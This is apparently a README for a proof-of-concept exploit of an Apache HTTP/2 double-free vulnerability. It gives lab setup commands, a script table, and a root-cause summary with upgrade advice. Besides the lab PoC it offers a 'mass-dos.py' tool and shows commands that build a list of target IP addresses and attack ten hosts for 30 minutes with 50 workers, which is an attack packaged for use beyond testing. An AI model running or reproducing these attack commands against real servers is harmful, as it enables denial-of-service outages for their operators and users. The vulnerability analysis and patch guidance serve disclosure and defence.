
Apache HTTP/2 double-free vulnerability PoC (CVE-2026-23918)
CVE-2026-23918 | Apache HTTP Server 2.4.66 | CWE-415: Double Free | CVSS 8.8 | Fixed in 2.4.67
A double-free vulnerability in mod_http2 (h2_mplx.c) allows remote attackers to cause a denial of service (worker crash) via rapid RST_STREAM frames that trigger a race condition between c1c2_stream_joined() and m_stream_cleanup().
# 1. Start the lab
docker-compose up --build -d
# 2. Run the PoC
pip3 install h2
python3 poc.py --target 127.0.0.1 --port 8443
# 3. Watch the crash
docker logs -f apache-lab
# 4. Clean up
docker-compose down -v
Result: Server crashes in ~30s–3min with
SIGSEGV— reliable DoS confirmed.
| File | Description |
|---|---|
poc.py | Rapid-RST — Fast attack, crashes servers in 30s–3min |
exploits/slow-drip.py | Slow Drip — Low-bandwidth sustained attack |
exploits/mass-dos.py | Mass DoS — Multi-target sustained DoS |
# Create target list
echo "192.168.1.100:8443" > targets.txt
echo "10.0.0.50:8443" >> targets.txt
# Attack 10 targets for 30 minutes
python3 exploits/mass-dos.py --targets targets.txt --duration 30 --workers 50 --intensity 7
The vulnerability triggers when:
c1c2_stream_joined() and m_stream_cleanup() simultaneouslym->spurge without deduplicationh2_purge_then_destroy() destroys the stream twice → double-free → segfault
Upgrade to Apache 2.4.67 or later.
Full vulnerability analysis, root cause walkthrough, exploitation notes, and remediation guidance: → rhasan.com/CVE-2026-23918
⭐ Star this repo if you found it useful!